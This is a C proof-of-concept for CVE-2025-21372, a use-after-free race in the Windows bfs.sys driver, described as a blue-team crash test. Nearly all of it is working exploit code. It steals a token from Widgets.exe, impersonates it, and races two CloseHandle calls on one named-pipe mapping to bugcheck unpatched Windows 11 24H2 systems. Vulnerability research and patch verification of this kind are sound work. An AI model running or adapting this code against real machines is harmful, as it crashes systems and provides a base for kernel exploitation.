// poc_cve_2025_21372_v2.c — CVE-2025-21372 bfs.sys BfsReleaseNamedPipeMapping
// UAF race (blue-team crash PoC, v2)
//
// Adapted from HT3Labs writeup:
//   https://ht3labs.com/Brokering-File-System-January-2025-Patch-Analysis.html
//
// Bug: BfsReleaseNamedPipeMapping decrements PipeEntry->RefCt BEFORE acquiring
// the PipeMappingTable pushlock. With RefCt==2: thread A decrements 2->1 then
// blocks on the table lock; thread B decrements 1->0, takes the lock and frees
// PipeEntry; thread A wakes and reads PipeEntry->RefCt on freed memory -> UAF.
// Patch (KB5050009) takes the table lock before the decrement, gated by
// Feature_752421176.
//
// v2 fix vs the original PoC: the race must be on the SAME PipeEntry, i.e.
// RefCt==2 on ONE BFS pipe mapping. That means two handles to the SAME pipe
// instance (DuplicateHandle), not two separate client connections (those are
// two entries with RefCt==1 each). Threads are also barrier-synchronized so
// both CloseHandle calls land inside the vulnerable window.
//
// Requirements:
//   - Pre-KB5050009 Windows 11 24H2, MEDIUM IL process.
//   - AppSilo (LowBox) token duplicated from a packaged process (default:
//     Widgets.exe — open Widgets once first). BFS only manages pipe I/O for
//     AppContainer/AppSilo callers.
//
// Expected results:
//   - Unpatched: eventual bugcheck (AV in bfs!BfsReleaseNamedPipeMapping).
//   - Patched: loop completes; exit cleanly.
//
// Build (VS developer prompt):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_21372_v2.c /link advapi32.lib

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define TARGET_PACKAGE_EXE L"Widgets.exe"
#define PIPE_NAME          L"\\\\.\\pipe\\bfsrace_21372"
#define RACE_ITERS         0x8000

typedef struct {
    HANDLE hPipe;      // handle to the SHARED pipe instance
    HANDLE hStart;     // barrier event (manual reset)
    HANDLE hDone;      // per-thread completion event
} RACE_CTX;

static HANDLE FindAppSiloToken(void) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return NULL;
    PROCESSENTRY32W pe = { sizeof(pe) };
    HANDLE hToken = NULL;
    for (BOOL ok = Process32FirstW(snap, &pe); ok && !hToken; ok = Process32NextW(snap, &pe)) {
        if (_wcsicmp(pe.szExeFile, TARGET_PACKAGE_EXE) != 0) continue;
        HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
        if (!hProc) continue;
        HANDLE hProcToken = NULL;
        if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, &hProcToken)) {
            DuplicateTokenEx(hProcToken, TOKEN_ALL_ACCESS, NULL,
                             SecurityImpersonation, TokenImpersonation, &hToken);
            CloseHandle(hProcToken);
        }
        CloseHandle(hProc);
    }
    CloseHandle(snap);
    return hToken;
}

static DWORD WINAPI RaceClose(LPVOID param) {
    RACE_CTX *ctx = (RACE_CTX *)param;
    WaitForSingleObject(ctx->hStart, INFINITE);   // both threads release together
    CloseHandle(ctx->hPipe);                       // -> BfsReleaseNamedPipeMapping
    SetEvent(ctx->hDone);
    return 0;
}

int wmain(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2025-21372 v2 - bfs.sys BfsReleaseNamedPipeMapping UAF race PoC\n");
    printf("Source: HT3Labs. Pre-KB5050009 builds should bugcheck in bfs!BfsReleaseNamedPipeMapping.\n");

    HANDLE hToken = FindAppSiloToken();
    if (!hToken) {
        printf("[-] No AppSilo token found — is %ws running? (open Widgets once)\n",
               TARGET_PACKAGE_EXE);
        return 1;
    }
    if (!ImpersonateLoggedOnUser(hToken)) {
        printf("[-] ImpersonateLoggedOnUser failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Impersonating AppSilo token\n");

    HANDLE hStart = CreateEventW(NULL, TRUE, FALSE, NULL);   // manual reset barrier
    HANDLE hDone1 = CreateEventW(NULL, TRUE, FALSE, NULL);
    HANDLE hDone2 = CreateEventW(NULL, TRUE, FALSE, NULL);

    for (int i = 0; i < RACE_ITERS; i++) {
        HANDLE hServ = CreateNamedPipeW(PIPE_NAME, PIPE_ACCESS_DUPLEX,
                                        PIPE_TYPE_BYTE | PIPE_WAIT,
                                        2, 4096, 4096, 0, NULL);
        if (hServ == INVALID_HANDLE_VALUE) {
            printf("[-] CreateNamedPipeW failed: %lu\n", GetLastError());
            break;
        }
        // ONE client connection -> ONE BFS PipeEntry ...
        HANDLE hCli1 = CreateFileW(PIPE_NAME, GENERIC_READ | GENERIC_WRITE,
                                   0, NULL, OPEN_EXISTING, 0, NULL);
        if (hCli1 == INVALID_HANDLE_VALUE) { CloseHandle(hServ); continue; }
        // ... referenced by TWO handles -> RefCt == 2 (the vulnerable count)
        HANDLE hCli2 = NULL;
        if (!DuplicateHandle(GetCurrentProcess(), hCli1, GetCurrentProcess(), &hCli2,
                             0, FALSE, DUPLICATE_SAME_ACCESS)) {
            CloseHandle(hCli1); CloseHandle(hServ); continue;
        }

        RACE_CTX ctx1 = { hCli1, hStart, hDone1 };
        RACE_CTX ctx2 = { hCli2, hStart, hDone2 };
        ResetEvent(hStart); ResetEvent(hDone1); ResetEvent(hDone2);
        HANDLE t1 = CreateThread(NULL, 0, RaceClose, &ctx1, 0, NULL);
        HANDLE t2 = CreateThread(NULL, 0, RaceClose, &ctx2, 0, NULL);
        SetEvent(hStart);   // fire both CloseHandle calls at once
        HANDLE both[2] = { hDone1, hDone2 };
        WaitForMultipleObjects(2, both, TRUE, 1000);
        if (t1) CloseHandle(t1);
        if (t2) CloseHandle(t2);

        DisconnectNamedPipe(hServ);
        CloseHandle(hServ);

        if ((i & 0x3FF) == 0x3FF)
            printf("[*] iter %d/0x%x — no crash yet\n", i + 1, RACE_ITERS);
    }

    RevertToSelf();
    CloseHandle(hToken);
    printf("[+] Done — no crash observed (patched, or race never won; rerun for more attempts).\n");
    return 0;
}
